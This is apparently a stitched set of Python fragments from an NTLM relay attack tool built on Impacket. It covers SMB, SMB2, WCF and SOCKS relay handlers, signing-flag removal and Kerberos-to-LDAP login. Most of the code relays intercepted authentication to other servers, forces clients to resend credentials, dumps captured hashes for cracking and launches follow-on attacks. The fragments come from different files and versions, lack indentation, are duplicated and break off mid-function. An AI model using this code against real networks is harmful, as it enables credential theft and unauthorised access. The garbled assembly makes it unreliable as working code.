respData = smb.SMBSessionSetupAndX_Extended_Response_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Extended_Parameters(
SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
'SecurityBlobLength']
sessionSetupData.fromString(SMBCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
rawNTLM = False
if struct.unpack(
'B', sessionSetupData['SecurityBlob'][0:1])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Here we only handle NTLMSSP, depending on what stage of the
# authentication we are, we act on it
messageType = struct.unpack(
'<L', token[len('NTLMSSP\x00'):len('NTLMSSP\x00') + 4])[0]
if messageType == 0x01:
# NEGOTIATE_MESSAGE
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(token)
# Let's store it in the connection data
connData['NEGOTIATE_MESSAGE'] = negotiateMessage
#############################################################
# SMBRelay: Ok.. So we got a NEGOTIATE_MESSAGE from a client.
# Let's send it to the target server and send the answer back to the client.
client = connData['SMBClient']
try:
challengeMessage = self.do_ntlm_negotiate(client, token)
except Exception:
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
# Raise exception again to pass it on to the SMB server
raise
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegState'] = b'\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = challengeMessage.getData()
# Setting the packet to STATUS_MORE_PROCESSING
errorCode = STATUS_MORE_PROCESSING_REQUIRED
# Let's set up an UID for this connection and store it
# in the connection's data
# Picking a fixed value
# TODO: Manage more UIDs for the same session
connData['Uid'] = 10
connData['CHALLENGE_MESSAGE'] = challengeMessage
elif messageType == 0x03:
# AUTHENTICATE_MESSAGE, here we deal with authentication
#############################################################
# SMBRelay: Ok, so now the have the Auth token, let's send it
# back to the target system and hope for the best.
client = connData['SMBClient']
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
if authenticateMessage['user_name'] != '':
#For some attacks it is important to know the authenticated username, so we store it
self.authUser = (
'%s/%s' %
(authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le'))
).upper()
clientResponse, errorCode = self.do_ntlm_auth(
client, sessionSetupData['SecurityBlob'],
connData['CHALLENGE_MESSAGE']['challenge'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet[
'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet[
'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = b'\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
LOG.error("Authenticating against %s://%s as %s FAILED" %
(self.target.scheme, self.target.netloc,
self.authUser))
#Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
LOG.info("Authenticating against %s://%s as %s SUCCEED" %
(self.target.scheme, self.target.netloc,
self.authUser))
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target, True,
self.authUser)
ntlm_hash_data = outputToJohnFormat(
connData['CHALLENGE_MESSAGE']['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'],
authenticateMessage['ntlm'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'],
ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
self.do_attack(client)
# Now continue with the server
#############################################################
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegState'] = b'\x00'
# Done with the relay for now.
connData['Authenticated'] = True
del (connData['relayToHost'])
# Status SUCCESS
errorCode = STATUS_SUCCESS
# Let's store it in the connection data
connData['AUTHENTICATE_MESSAGE'] = authenticateMessage
else:
raise Exception("Unknown NTLMSSP MessageType %d" % messageType)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
else:
# Process Standard Security
#TODO: Fix this for other protocols than SMB [!]
respParameters = smb.SMBSessionSetupAndXResponse_Parameters()
respData = smb.SMBSessionSetupAndXResponse_Data()
sessionSetupParameters = smb.SMBSessionSetupAndX_Parameters(
SMBCommand['Parameters'])
sessionSetupData = smb.SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters[
'AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters[
'UnicodePwdLength']
sessionSetupData.fromString(SMBCommand['Data'])
client = connData['SMBClient']
_, errorCode = client.sendStandardSecurityAuth(sessionSetupData)
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = smb.NewSMBPacket()
packet[
'Flags1'] = smb.SMB.FLAGS1_REPLY | smb.SMB.FLAGS1_PATHCASELESS
packet[
'Flags2'] = smb.SMB.FLAGS2_NT_STATUS | smb.SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = b'\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
#Log this target as processed for this client
self.targetprocessor.logTarget(self.target)
# Finish client's connection
#client.killConnection()
return None, [packet], errorCode
else:
# We have a session, create a thread and do whatever we want
self.authUser = ('%s/%s' %
(sessionSetupData['PrimaryDomain'],
sessionSetupData['Account'])).upper()
LOG.info(
"Authenticating against %s://%s as %s SUCCEED" %
(self.target.scheme, self.target.netloc, self.authUser))
# Log this target as processed for this client
self.targetprocessor.logTarget(self.target, True,
self.authUser)
ntlm_hash_data = outputToJohnFormat(
'', sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'],
sessionSetupData['UnicodePwd'])
client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'],
ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
# Done with the relay for now.
connData['Authenticated'] = True
del (connData['relayToHost'])
self.do_attack(client)
# Now continue with the server
#############################################################
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def processSessionSetup(self, recvPacket):
respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
smbCommand = SMBCommand(recvPacket['Data'][0])
if smbCommand['WordCount'] == 12:
respParameters = SMBSessionSetupAndX_Extended_Response_Parameters()
respData = SMBSessionSetupAndX_Extended_Response_Data()
# First of all, we should received a type 1 message. Let's answer it
# NEGOTIATE_MESSAGE
challengeMessage = self.smbData['CHALLENGE_MESSAGE']
challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegResult'] = '\x01'
respToken['SupportedMech'] = TypesMech[
'NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = str(challengeMessage)
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
respData['NativeOS'] = ''
respData['NativeLanMan'] = ''
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp = NewSMBPacket()
resp['Flags1'] = SMB.FLAGS1_REPLY
resp['Flags2'] = SMB.FLAGS2_NT_STATUS
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Uid'] = 0
errorCode = STATUS_MORE_PROCESSING_REQUIRED
resp['ErrorCode'] = errorCode >> 16
resp['ErrorClass'] = errorCode & 0xff
resp.addCommand(respSMBCommand)
self.__NBSession.send_packet(resp.getData())
recvPacket, smbCommand = self.getSMBPacket()
sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(
smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Extended_Data()
sessionSetupData['SecurityBlobLength'] = sessionSetupParameters[
'SecurityBlobLength']
sessionSetupData.fromString(smbCommand['Data'])
if unpack('B', sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
# If there no GSSAPI ID, it must be an AUTH packet
blob = SPNEGO_NegTokenResp(sessionSetupData['SecurityBlob'])
token = blob['ResponseToken']
else:
# NEGOTIATE packet
blob = SPNEGO_NegTokenInit(sessionSetupData['SecurityBlob'])
token = blob['MechToken']
# Now we should've received a type 3 message
authenticateMessage = NTLMAuthChallengeResponse()
authenticateMessage.fromString(token)
# Check if we have a connection for the user
if self.activeRelays.has_key(authenticateMessage['user_name']):
LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
(authenticateMessage['user_name'].decode('utf-16le'),
self.targetHost))
errorCode = STATUS_SUCCESS
smbClient = self.activeRelays[
authenticateMessage['user_name']]['client']
uid = smbClient.get_uid()
else:
LOG.error('SOCKS: No session for %s@%s(445) available' %
(authenticateMessage['user_name'].decode('utf-16le'),
self.targetHost))
errorCode = STATUS_ACCESS_DENIED
uid = 0
resp = NewSMBPacket()
resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
resp[
'Flags2'] = recvPacket['Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
resp['Command'] = recvPacket['Command']
resp['Pid'] = recvPacket['Pid']
resp['Tid'] = recvPacket['Tid']
resp['Mid'] = recvPacket['Mid']
resp['Uid'] = uid
resp['ErrorCode'] = errorCode >> 16
resp['ErrorClass'] = errorCode & 0xff
respData['NativeOS'] = ''
respData['NativeLanMan'] = ''
if uid == 0:
resp['Data'] = '\x00\x00\x00'
smbClient = None
else:
respToken = SPNEGO_NegTokenResp()
# accept-completed
respToken['NegResult'] = '\x00'
respParameters['SecurityBlobLength'] = len(respToken)
respData['SecurityBlobLength'] = respParameters[
'SecurityBlobLength']
respData['SecurityBlob'] = respToken.getData()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
resp.addCommand(respSMBCommand)
self.__NBSession.send_packet(resp.getData())
return smbClient, authenticateMessage['user_name']
else:
LOG.error('SOCKS: Can\'t handle standard security at the moment!')
return None
# Our imports
from impacket.smbconnection import *
from impacket.ntlm import *
from impacket.spnego import SPNEGO_NegTokenResp, SPNEGO_NegTokenInit, TypesMech
# smb packet struct
sessionSetup = SMB2SessionSetup()
sessionSetup['Flags'] = 0
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
]
# build our own hash1
hash1 = getNTLMSSPType1(signingRequired=True)
hash1.dump()
# string to hash1 structure for convenience
h1 = NTLMAuthNegotiate()
h1.fromString(str(hash1))
# test to see if our hash contains a flag
# it will return True if it contains Flase if it does not
False if (h1['flags'] & NTLMSSP_SIGN) == 0 else True
# So lets remove the signing and sealing flags
h1['flags'] &= 0xffffffff ^ NTLMSSP_SIGN
# If we wanted to add it back in we could do
h1['flags'] |= NTLMSSP_SIGN
# formatting our hash1 structure:
blob['MechToken'] = str(hash1)
sessionSetup['SecurityBufferLength'] = len(blob)
sessionSetup['Buffer'] = blob.getData()
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2: lmhash = '0%s' % lmhash
if len(nthash) % 2: nthash = '0%s' % nthash
try: # just in case they were converted already
lmhash = unhexlify(lmhash)
nthash = unhexlify(nthash)
except:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
from pyasn1.codec.der import decoder, encoder
import datetime
if TGT is not None or TGS is not None:
useCache = False
if useCache is True:
try:
ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
except:
# No cache present
pass
else:
# retrieve user and domain information from CCache file if needed
if user == '' and len(ccache.principal.components) > 0:
user = ccache.principal.components[0]['data']
if domain == '':
domain = ccache.principal.realm['data']
LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
principal = 'ldap/%s@%s' % (self._dstHost.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is None:
# Let's try for the TGT and go from there
principal = 'krbtgt/%s@%s' % (domain.upper(), domain.upper())
creds = ccache.getCredential(principal)
if creds is not None:
TGT = creds.toTGT()
LOG.debug('Using TGT from cache')
else:
LOG.debug("No valid credentials found in cache. ")
else:
TGS = creds.toTGS()
LOG.debug('Using TGS from cache')
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal('ldap/%s' % self._dstHost,
type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = list()
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
authenticator['authenticator-vno'] = 5
authenticator['crealm'] = domain
seq_set(authenticator, 'cname', userName.components_to_asn1)
now = datetime.datetime.utcnow()
authenticator['cusec'] = now.microsecond
authenticator['ctime'] = KerberosTime.to_asn1(now)
encodedAuthenticator = encoder.encode(authenticator)
# Key Usage 11
# AP-REQ Authenticator (includes application authenticator
# subkey), encrypted with the application session key
# (Section 5.5.1)
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None)
apReq['authenticator'] = None
apReq['authenticator']['etype'] = cipher.enctype
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
blob['MechToken'] = encoder.encode(apReq)
# Done with the Kerberos saga, now let's get into LDAP
bindRequest = BindRequest()
bindRequest['version'] = Integer7Bit(3)
bindRequest['name'] = LDAPDN(user)
credentials = SaslCredentials()
credentials['mechanism'] = LDAPString('GSS-SPNEGO')
credentials['credentials'] = Credentials(blob.getData())
bindRequest['authentication'] = AuthenticationChoice().setComponentByName('sasl', credentials)
resp = self.sendReceive('bindRequest', bindRequest)[0]['protocolOp']
if resp['bindResponse']['resultCode'] != 0:
raise LDAPSessionError(errorString='Error in bindRequest -> %s:%s' % (
resp['bindResponse']['resultCode'].prettyPrint(), resp['bindResponse']['diagnosticMessage']))
return True
def SmbNegotiate(self, connId, smbServer, recvPacket, isSMB1=False):
connData = smbServer.getConnectionData(connId, checkStatus=False)
if self.config.mode.upper() == 'REFLECTION':
self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP'])
self.target = self.targetprocessor.getTarget()
#############################################################
# SMBRelay
# Get the data for all connections
smbData = smbServer.getConnectionData('SMBRelay', False)
if self.target in smbData:
# Remove the previous connection and use the last one
smbClient = smbData[self.target]['SMBClient']
del smbClient
del smbData[self.target]
LOG.info("SMBD: Received connection from %s, attacking target %s://%s" % (connData['ClientIP'], self.target.scheme, self.target.netloc))
try:
if self.config.mode.upper() == 'REFLECTION':
# Force standard security when doing reflection
LOG.debug("Downgrading to standard security")
extSec = False
#recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY)
else:
extSec = True
# Init the correct client for our target
client = self.init_client(extSec)
except Exception as e:
LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e)))
self.targetprocessor.logTarget(self.target)
else:
smbData[self.target] = {}
smbData[self.target]['SMBClient'] = client
connData['EncryptionKey'] = client.getStandardSecurityChallenge()
smbServer.setConnectionData('SMBRelay', smbData)
smbServer.setConnectionData(connId, connData)
respPacket = smb3.SMB2Packet()
respPacket['Flags'] = smb3.SMB2_FLAGS_SERVER_TO_REDIR
respPacket['Status'] = STATUS_SUCCESS
respPacket['CreditRequestResponse'] = 1
respPacket['Command'] = smb3.SMB2_NEGOTIATE
respPacket['SessionID'] = 0
if isSMB1 is False:
respPacket['MessageID'] = recvPacket['MessageID']
else:
respPacket['MessageID'] = 0
respPacket['TreeID'] = 0
respSMBCommand = smb3.SMB2Negotiate_Response()
# Just for the Nego Packet, then disable it
respSMBCommand['SecurityMode'] = smb3.SMB2_NEGOTIATE_SIGNING_ENABLED
if isSMB1 is True:
# Let's first parse the packet to see if the client supports SMB2
SMBCommand = smb.SMBCommand(recvPacket['Data'][0])
dialects = SMBCommand['Data'].split('\x02')
if 'SMB 2.002\x00' in dialects or 'SMB 2.???\x00' in dialects:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
else:
# Client does not support SMB2 fallbacking
raise Exception('SMB2 not supported, fallbacking')
else:
respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_002
#respSMBCommand['DialectRevision'] = smb3.SMB2_DIALECT_21
respSMBCommand['ServerGuid'] = ''.join([random.choice(string.ascii_letters) for _ in range(16)])
respSMBCommand['Capabilities'] = 0
respSMBCommand['MaxTransactSize'] = 65536
respSMBCommand['MaxReadSize'] = 65536
respSMBCommand['MaxWriteSize'] = 65536
respSMBCommand['SystemTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['ServerStartTime'] = getFileTime(calendar.timegm(time.gmtime()))
respSMBCommand['SecurityBufferOffset'] = 0x80
blob = SPNEGO_NegTokenInit()
blob['MechTypes'] = [TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism'],
TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]
respSMBCommand['Buffer'] = blob.getData()
respSMBCommand['SecurityBufferLength'] = len(respSMBCommand['Buffer'])
respPacket['Data'] = respSMBCommand
smbServer.setConnectionData(connId, connData)
return None, [respPacket], STATUS_SUCCESS
def handle(self):
version_code = self.recvall(1)
if version_code != b'\x00':
LOG.error("WCF: wrong VersionRecord code")
return
version = self.recvall(2) # should be \x01\x00 but we don't care
if version != b'\x01\x00':
LOG.error("WCF: wrong VersionRecord version")
return
mode_code = self.recvall(1)
if mode_code != b'\x01':
LOG.error("WCF: wrong ModeRecord code")
return
mode = self.recvall(1) # we don't care
via_code = self.recvall(1)
if via_code != b'\x02':
LOG.error("WCF: wrong ViaRecord code")
return
via_len = self.recvall(1)
via_len = struct.unpack("B", via_len)[0]
via = self.recvall(via_len).decode("utf-8")
if not via.startswith("net.tcp://"):
LOG.error("WCF: the Via URL '" + via + "' does not start with 'net.tcp://'. "
"Only NetTcpBinding is currently supported!")
return
known_encoding_code = self.recvall(1)
if known_encoding_code != b'\x03':
LOG.error("WCF: wrong KnownEncodingRecord code")
return
encoding = self.recvall(1) # we don't care
upgrade_code = self.recvall(1)
if upgrade_code != b'\x09':
LOG.error("WCF: wrong UpgradeRequestRecord code")
return
upgrade_len = self.recvall(1)
upgrade_len = struct.unpack("B", upgrade_len)[0]
upgrade = self.recvall(upgrade_len).decode("utf-8")
if upgrade != "application/negotiate":
LOG.error("WCF: upgrade '" + upgrade + "' is not 'application/negotiate'. Only Negotiate is supported!")
return
self.request.sendall(b'\x0a')
while True:
handshake_in_progress = self.recvall(5)
if not handshake_in_progress[0] == 0x16:
LOG.error("WCF: Wrong handshake_in_progress message")
return
securityBlob_len = struct.unpack(">H", handshake_in_progress[3:5])[0]
securityBlob = self.recvall(securityBlob_len)
rawNTLM = False
if struct.unpack('B', securityBlob[0:1])[0] == ASN1_AID:
# SPNEGO NEGOTIATE packet
blob = SPNEGO_NegTokenInit(securityBlob)
token = blob['MechToken']
if len(blob['MechTypes'][0]) > 0:
# Is this GSSAPI NTLM or something else we don't support?
mechType = blob['MechTypes'][0]
if mechType != TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider'] and \
mechType != TypesMech['NEGOEX - SPNEGO Extended Negotiation Security Mechanism']:
# Nope, do we know it?
if mechType in MechTypes:
mechStr = MechTypes[mechType]
else:
mechStr = hexlify(mechType)
LOG.error("Unsupported MechType '%s'" % mechStr)
# We don't know the token, we answer back again saying
# we just support NTLM.
respToken = SPNEGO_NegTokenResp()
respToken['NegState'] = b'\x03' # request-mic
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken = respToken.getData()
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
answer = b'\x16' # handshake_in_progress
answer += b'\x01\x00' # version
answer += struct.pack(">H", len(respToken)) # len
answer += respToken
self.request.sendall(answer)
elif struct.unpack('B', securityBlob[0:1])[0] == ASN1_SUPPORTED_MECH:
# SPNEGO AUTH packet
blob = SPNEGO_NegTokenResp(securityBlob)
token = blob['ResponseToken']
break
else:
# No GSSAPI stuff, raw NTLMSSP
rawNTLM = True
token = securityBlob
break
if not token.startswith(b"NTLMSSP\0\1"): # NTLMSSP_NEGOTIATE: message type 1
LOG.error("WCF: Wrong NTLMSSP_NEGOTIATE message")
return
if not self.do_ntlm_negotiate(token):
# Connection failed
LOG.error('Negotiating NTLM with %s://%s failed. Skipping to next target',
self.target.scheme, self.target.netloc)
self.server.config.target.logTarget(self.target)
return
# Calculate auth
ntlmssp_challenge = self.challengeMessage.getData()
if not rawNTLM:
# add SPNEGO wrapping
respToken = SPNEGO_NegTokenResp()
# accept-incomplete. We want more data
respToken['NegState'] = b'\x01'
respToken['SupportedMech'] = TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']
respToken['ResponseToken'] = ntlmssp_challenge
ntlmssp_challenge = respToken.getData()
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nns/3e77f3ac-db7e-4c76-95de-911dd280947b
handshake_in_progress = b"\x16\x01\x00" + struct.pack(">H", len(ntlmssp_challenge))
self.request.sendall(handshake_in_progress)
self.request.sendall(ntlmssp_challenge)
handshake_done = self.recvall(5)
if handshake_done[0] == 0x15:
error_len = struct.unpack(">H", handshake_done[3:5])[0]
error_msg = self.recvall(error_len)
hresult = hex(struct.unpack('>I', error_msg[4:8])[0])
LOG.error("WCF: Received handshake_error message: " + hresult)
return
ntlmssp_auth_len = struct.unpack(">H", handshake_done[3:5])[0]
ntlmssp_auth = self.recvall(ntlmssp_auth_len)
if not rawNTLM:
# remove SPNEGO wrapping
blob = SPNEGO_NegTokenResp(ntlmssp_auth)
ntlmssp_auth = blob['ResponseToken']
if not ntlmssp_auth.startswith(b"NTLMSSP\0\3"): # NTLMSSP_AUTH: message type 3
LOG.error("WCF: Wrong NTLMSSP_AUTH message")
return
authenticateMessage = ntlm.NTLMAuthChallengeResponse()
authenticateMessage.fromString(ntlmssp_auth)
if not self.do_ntlm_auth(ntlmssp_auth, authenticateMessage):
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
else:
LOG.error("Authenticating against %s://%s as %s\\%s FAILED" % (
self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
return
# Relay worked, do whatever we want here...
if authenticateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc,
authenticateMessage['domain_name'].decode('utf-16le'),
authenticateMessage['user_name'].decode('utf-16le')))
else:
LOG.info("Authenticating against %s://%s as %s\\%s SUCCEED" % (
self.target.scheme, self.target.netloc, authenticateMessage['domain_name'].decode('ascii'),
authenticateMessage['user_name'].decode('ascii')))
ntlm_hash_data = outputToJohnFormat(self.challengeMessage['challenge'],
authenticateMessage['user_name'],
authenticateMessage['domain_name'],
authenticateMessage['lanman'], authenticateMessage['ntlm'])
self.client.sessionData['JOHN_OUTPUT'] = ntlm_hash_data
if self.server.config.outputFile is not None:
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.config.outputFile)
self.server.config.target.logTarget(self.target, True, self.authUser)
self.do_attack()
def kerberosLogin(self, user, password, domain='', lmhash='', nthash='', aesKey='', kdcHost=None, TGT=None,
TGS=None, useCache=True):
"""
logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.
:param string user: username
:param string password: password for the user
:param string domain: domain where the account is valid for (required)
:param string lmhash: LMHASH used to authenticate using hashes (password is not used)
:param string nthash: NTHASH used to authenticate using hashes (password is not used)
:param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
:param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
:param struct TGT: If there's a TGT available, send the structure here and it will be used
:param struct TGS: same for TGS. See smb3.py for the format
:param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False
:return: True, raises a LDAPSessionError if error.
"""
if lmhash != '' or nthash != '':
if len(lmhash) % 2:
lmhash = '0' + lmhash
if len(nthash) % 2:
nthash = '0' + nthash
try: # just in case they were converted already
lmhash = bytes.fromhex(lmhash)
nthash = bytes.fromhex(nthash)
except TypeError:
pass
# Importing down here so pyasn1 is not required if kerberos is not used.
from impacket.krb5.ccache import CCache
from impacket.krb5.asn1 import AP_REQ, Authenticator, TGS_REP, seq_set
from impacket.krb5.kerberosv5 import getKerberosTGT, getKerberosTGS
from impacket.krb5 import constants
from impacket.krb5.types import Principal, KerberosTime, Ticket
import datetime
if TGT is not None or TGS is not None:
useCache = False
targetName = 'ldap/%s' % self._dstHost
if useCache:
domain, user, TGT, TGS = CCache.parseFile(domain, user, targetName)
# First of all, we need to get a TGT for the user
userName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
if TGT is None:
if TGS is None:
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash,
aesKey, kdcHost)
else:
tgt = TGT['KDC_REP']
cipher = TGT['cipher']
sessionKey = TGT['sessionKey']
if TGS is None:
serverName = Principal(targetName, type=constants.PrincipalNameType.NT_SRV_INST.value)
tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher,
sessionKey)
else:
tgs = TGS['KDC_REP']
cipher = TGS['cipher']
sessionKey = TGS['sessionKey']
# Let's build a NegTokenInit with a Kerberos REQ_AP
blob = SPNEGO_NegTokenInit()
# Kerberos
blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']]
# Let's extract the ticket from the TGS
tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0]
ticket = Ticket()
ticket.from_asn1(tgs['ticket'])
# Now let's build the AP_REQ
apReq = AP_REQ()
apReq['pvno'] = 5
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
opts = []
apReq['ap-options'] = constants.encodeFlags(opts)
seq_set(apReq, 'ticket', ticket.to_asn1)
authenticator = Authenticator()
